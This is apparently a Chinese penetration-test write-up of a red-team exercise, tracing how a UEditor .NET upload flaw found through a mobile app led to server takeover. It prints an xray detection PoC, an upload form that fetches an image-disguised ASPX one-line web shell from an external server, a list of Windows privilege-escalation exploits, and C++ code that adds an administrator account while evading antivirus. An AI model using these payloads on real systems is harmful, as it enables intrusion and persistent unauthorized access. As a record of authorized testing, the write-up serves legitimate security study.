<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    從App頁面路徑泄露到服務器淪陷

    VSole2021-11-17 04:30:19

    0×01簡述

    對這段時間做的一次攻防演練做一個記錄,這次給我們分了三個目標,一個目標是甲方單位自己的一個自建系統,其余兩個是甲方的下級單位的系統。開始之前覺得不好做,因為攻防演練跟HW有些差別,HW可以不限制攻擊手法,可以從上游供應鏈,社工、釣魚多種角度出發來挖掘漏洞。這次攻防演練給我們三個目標、兩個web系統、一個app,可以利用的點非常少,不可以攻擊其他的系統,只能搞這幾個目標,要不是這次運氣好真的就拉垮了。

    0×02開局一個登陸框

    開局就是一個登陸框,開整。

    遇到登陸可以做的滲透路徑大概就是

    • 爆破弱口令——爆破的傳統思路都是固定賬號爆破密碼,還有一種姿勢是固定密碼爆破用戶名。比如使用固定密碼123456,爆破常用用戶名或者常用人名拼音。
    • 掃目錄——-目錄掃描是一個存在驚喜的地方,說不定能掃描到后臺未授權訪問的鏈接、備份文件、編輯器、敏感信息等。
    • 框架漏洞——-如果能夠發現網站使用的某種CMS,例如thinkphp就直接通過已有的漏洞來攻擊
    • 源碼查看——-右鍵查看JS源碼,你可能會發現被注釋的賬號密碼、接口、token、真實IP、開發環境等可以利用的信息。

    使用ip138查詢了這個域名的ip

    放到fofa里面查到四個開放的端口

    ip=”192.168.1.1”

    正常訪問的端口只有兩個,一個是443就是這個登陸框頁面的端口,一個80端口是一個404頁面

    其他信息沒啥收集的了,目標不能打偏所以就不看C段了

    常規的開始掃一下目錄吧

    dog警告

    用延時掃描目錄

    掃了一晚上啥也沒掃到,還有一個80端口的404還沒掃用dirsearch開掃

    糟糕直接把IP給ban了

    繼續用延時掃描還是沒掃出來東西。

    放到云溪里面查一下能不能找到這個系統的框架

    查了個寂寞

    看一下源碼js文件

    空空如也

    最后只剩下一招爆破弱口令 幸好沒有驗證碼

    由于網站部署的有安全狗 所以我們爆破的時候線程調低到線程1就好

    返回登陸框隨便輸入一個賬號密碼,回顯的是賬號或密碼有誤,請重新輸入! 所以我們無法通過輸入回顯來得到賬號信息

    只能用超級大字典來爆破了,

    通過全國姓名拼音加賬號top100加密碼top1000沒有爆破出來(最后才知道賬號是手機號)

    0×03山重水復疑無路

    忽然想起來這個單位還有一個APP,立馬下載APP放到mumu模擬器打開

    登錄頁面跟web的不能說很像,簡直就是一模一樣

    登陸框這里是沒有辦法下手了 看看其他的功能

    burp和模擬器設置一下代理

    打開burp點擊app的一些頁面,查看返回包的時候忽然發現了ueditor這簡直絕了 為啥當時目錄掃描沒掃到。

    山窮水復疑無路,柳暗花明又一村。

    居然看見了ueditor編輯器。

    漏洞描述

    這個編輯器是百度開發的一款編輯器,目前已經不對其進行后續開發和更新,存在多個漏洞(文件上傳,xss,ssrf)文件上傳漏洞只存在于該編輯器的.net版本。其他的php,jsp,asp版本不受此UEditor的漏洞的影響,.net存在任意文件上傳,繞過文件格式的限制,在獲取遠程資源的時候并沒有對遠程文件的格式進行嚴格的過濾與判斷。

    影響范圍

    該漏洞影響UEditor的.Net版本,其它語言版本暫時未受影響。

    漏洞檢測

    我們可以看下XRAY的poc

    name: poc-yaml-ueditor-cnvd-2017-20077-file-upload
    rules:
    - method: GET
        path:/ueditor/net/controller.ashx?action=catchimage&encode=utf-8
        headers:
    Accept-Encoding:'deflate'
        follow_redirects:false
        expression:|
          response.status ==200&& response.body.bcontains(bytes(string("沒有指定抓取源")))
    detail:
      author:清風明月(www.secbook.info)
      influence_version:'UEditor v1.4.3.3'
      links:
    - https://zhuanlan.zhihu.com/p/85265552
    - https://www.freebuf.com/vuls/181814.html
      exploit:>-
        http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8
    

    使用GET方式請求了路徑/ueditor/net/controller.ashx?action=catchimage&encode=utf-8如果響應里面存在沒有指定抓取源就證明存在漏洞。

    拼接一下我們的網站嘗試一下

    www.xxx.com/ueditor/net/controller.ashx?action=catchimage&encode=utf-8

    非常完美

    漏洞利用

    1、我們可以利用post方法直接上傳文件到目標網站

    Poc:

    action="http://www.xxx.com/ueditor/net/controller.ashx?action=catchimage"enctype="multipart/form-data"method="POST">
    
    
    shell addr: type="text"name="source[]"/>
    
    type="submit"value="Submit"/>
    
    
    

    在利用這個POC的時候,需要一個外網服務器,上傳腳本文件,其中【shell addr】后填寫的就是服務器上腳本的地址加上后綴(?.aspx)。

    制作一個圖片馬放到外網服務器上面

    copy 1.jpg/b +2.aspx 3.jpg

    一句話腳本

    <%@ Page Language="Jscript"%><%eval(Request.Item["zhanan"],"unsafe");%>

    把腳本文件放到服務器上面

    腳本地址:http://服務器地址/3.jpg

    poc里面shell addr填http://服務器地址/3.jpg?.aspx

    然后點擊submit上傳

    上傳成功 并得到腳本路徑

    0×04提權

    成功getshell之后 我們下一步就是提權了 使用whoami查看系統權限

    iis apppool\47middleschool權限

    使用tasklist /svc查看系統有沒有安裝殺毒軟件(可以看到安裝了安全狗,之前掃目錄的時候已經看到了)

    使用systeminfo查看系統版本信息和補丁情況(服務器是2008R2版本)

    補丁情況可以使用在線網站來查詢

    補丁查詢網址

    復制補丁然后粘貼到框里面就可以查看改系統可以使用的腳本了

    我們是win2008系統 可以看到我們可以使用的腳本如下

    windows2008 可用腳本:
    KB3124280 : MS16-016
    KB3134228 : MS16-014
    KB3079904 : MS15-097
    KB3077657 : MS15-077
    KB3045171 : MS15-051
    KB3000061 : MS14-058
    KB2829361 : MS13-046
    KB2850851 : MS13-053 EPATHOBJ 0day限32位
    KB2707511 : MS12-042 sysret -pid
    KB2124261 : KB2271195 MS10-065 IIS7
    KB970483 : MS09-020 IIS6
    

    由于該系統在正常運行,所以我們不能影響系統的正常使用,這些提權腳本有的是溢出漏洞,可能會導致系統的崩潰或者藍屏,所以我們需要在本地安裝win2008系統來測試這些腳本的使用,是否可以正常使用。

    在本地起一個win2008虛擬機系統并創建一個低權限的賬號

    查找我們可以使用的腳本來進行利用嘗試

    使用MS16-014下載使用

    打開使用

    宕機藍屏

    所以說我們盲目的去使用一些可能會導致系統崩潰的腳本來嘗試正常的業務環境,如果導致客戶的業務崩潰,可能會造成一些無法挽回的損失。

    最后使用ms15-051提權成功。system權限

    使用system權限添加管理員賬號時被狗狗攔截了

    最后請教了一些大佬,大佬們說可以使用Windows api函數添加管理員賬戶,去百度學習了一番

    我們在滲透測試過程中需要添加管理員賬號是通常是通過CMD調用net命令,然而一些殺軟會限制CMD的一些命令,我們就可以使用windows自帶的api函數來執行這些操作,從而繞過一些殺軟的限制。(很老的方法了,很多的殺軟都開始限制api的一些高危操作了)

    代碼原理:

    使用NetUserAdd添加普通權限的用戶,NetLocalGroupAddMembers添加管理員權限。

    代碼如下:

    #ifndef UNICODE    
    #define UNICODE    
    #endif
    #include
    #include
    #include
    #include
    #pragma comment(lib,"netapi32")
    intUsage(wchar_t*);
    int wmain(int argc,wchar_t* argv[])
    {
    // 定義USER_INFO_1結構體
        USER_INFO_1 ui;
        DWORD dwError =0;
        ui.usri1_name = L"test";// 賬戶    
        ui.usri1_password = L"Test@qq.com";// 密碼
        ui.usri1_priv = USER_PRIV_USER;
        ui.usri1_home_dir = NULL;
        ui.usri1_comment = NULL;
        ui.usri1_flags = UF_SCRIPT;
        ui.usri1_script_path = NULL;
    //添加名為test的用戶,密碼為Test@qq.com    
    if(NetUserAdd(NULL,1,(LPBYTE)&ui,&dwError)== NERR_Success)
    {
            std::cout <<"[+]        Add Success!!!  ";
            std::cout <<"[+]        UserName:Bypass360  PassWord:Success@qq.com";
    }
    else
    {
    //添加失敗    
            std::cout <<"[+]        Add User Error!";
    }
    
    // 添加用戶到administrators組
        LOCALGROUP_MEMBERS_INFO_3 account;
        account.lgrmi3_domainandname = ui.usri1_name;
    if(NetLocalGroupAddMembers(NULL, L"Administrators",3,(LPBYTE)&account,1)== NERR_Success)
    {
    //添加成功    
            std::cout <<"[+]        Add to Administrators Success";
    }
    else
    {
    //添加失敗    
            std::cout <<"[+]        Add to Administrators Error!";
    }
    return0;
    }
    

    可通過vs編譯成exe文件

    簡單實驗:在開啟Defender和火絨的情況下沒有攔截

    可以看到system權限如果通過CMD添加賬號會被火絨攔截

    如果使用api添加賬號并賦予超級管理員權限(可以看到結果火絨和windows防火墻沒有進行攔截 成功添加超級管理員賬號)

    通過shell把我們的exe文件上傳 并通過ms15-051system權限來運行

    但是廢了這么大勁居然沒有反應。

    本地起一個環境來看一下是哪里出問題了,安裝一個安全狗。

    這是啥情況,我本地安全狗沒有攔截啊,猜想可能是系統做了某種限制。此路不通。

    最后拿到服務器是通過下載網站備份文件,然后翻網站配置文件找到了數據庫密碼。

    盲猜一波這個密碼就是服務器密碼。成功登陸。(耐心和細心)

    最后也是很幸運的完成了這次演練,也拿到了大量的敏感信息,相信甲方應該會滿意吧。

    0×05總結

    其實有時候很多系統都是馬奇諾防線這種看似很強,但是你只要找到一個點從而利用就輕而易舉的繞過或者突破他,滲透測試過程中的細心的耐心也是必不可少的要素之一,最后希望朋友們可以對文章中的不足提出建議請多多指教!

    漏洞挖掘ueditor
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    當我們輸入正確的手機號和正確的短信驗證碼,然后進入重置密碼的最后一步,也就是輸入新的密碼輸入密碼后提交到服務端的post數據包需要包含當前用戶的身份信息。修改響應包重置任意賬號密碼:通過手機找回密碼一般需要短信驗證碼驗證,服務端需要告訴客戶端,輸入的驗證碼是否正確。
    主要是可以拿著這些信息通過goole,或github搜索一些其他的敏感信息,擴大搜索面。效果就不多說了,在github泄漏一些賬號或源碼的事件簡直不要太多。)如果得到的ip結果不同,即可判斷使用了CDN。nmap掃描服務器進行搜集,我認為也是至關重要的一點,不能遺漏。里面的security項rename-command CONFIG ""又問:如果內容禁止使用ip如何探測內網端口1、使用dns解析2、127。
    對這段時間做的一次攻防演練做一個記錄,這次給我們分了三個目標,一個目標是甲方單位自己的一個自建系統,其余兩個是甲方的下級單位的系統。開始之前覺得不好做,因為攻防演練跟HW有些差別,HW可以不限制攻擊手法,可以從上游供應鏈,社工、釣魚多種角度出發來挖掘漏洞。這次攻防演練給我們三個目標、兩個web系統、一個app,可以利用的點非常少,不可以攻擊其他的系統,只能搞這幾個目標,要不是這次運氣好真的就拉垮了
    Web安全常見漏洞修復建議
    前言最近一段時間忙于學習JAVA安全以及企業SRC挖掘,很少開展比較完整的滲透測試了。前一段時間高中的老師再次找到我,讓我再次對學校的系統進行一些測試,核心目標是獲取全校師生數據以及校園網的運行數據,最后也是成功拿下。點進去一看,感覺還是有東西的,因為能查成績、能查校園卡消費等等,這一切基本都說明這個系統和校園網有著千絲萬縷的聯系。Ueditor,asp.net站點看到這玩意,十有八九是穩了。
    對抗時紅隊模擬真實黑客的攻擊行為,對企業網絡應用系統進行滲透攻擊,最終能發現企業平時未注意到的風險點,達到完善企業的安全體系的目的。本文站在紅隊攻擊的角度,介紹一種在紅隊攻擊初期快速通過已知Nday漏洞獲取入口權限的思路,并編寫成工具供紅隊滲透測試人員使用。紅隊攻擊流程概述在紅藍對抗中紅隊的攻擊流程大致可總結為以下幾點情報收集 => 入口權限獲取 => 內網信息探測 => 橫向移動 => 權限維持
    0x01 確定目標無目標隨便打,有沒有自己對應的SRC應急響應平臺不說,還往往會因為一開始沒有挖掘漏洞而隨意放棄,這樣往往不能挖掘到深層次的漏洞。所以在真的想要花點時間在SRC漏洞挖掘上的話,建議先選好目標。0x02 確認測試范圍前面說到確定測什么SRC,那么下面就要通過一些方法,獲取這個SRC的測試范圍,以免測偏。
    漏洞挖掘工具—afrog
    2023-03-20 10:20:07
    -t http://example.com -o result.html2、掃描多個目標 afrog -T urls.txt -o result.html例如:urls.txthttp://example.comhttp://test.comhttp://github.com3、測試單個 PoC 文件 afrog?-t http://example.com -P ./testing/poc-test.yaml -o result.html4、測試多個 PoC 文件 afrog?
    但又沒登錄怎么獲取的當前用戶的Access-Reset-Ticket真相只有一個,看看接口哪里獲取到的原來是在輸入要找回的用戶就會獲取當前用戶的Access-Reset-Ticket6到了,開發是我大哥嘗試修改可行,修改管理員賬號,然后起飛下機。漏洞已修復,廠商也修復了漏洞更新到了最新版本。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类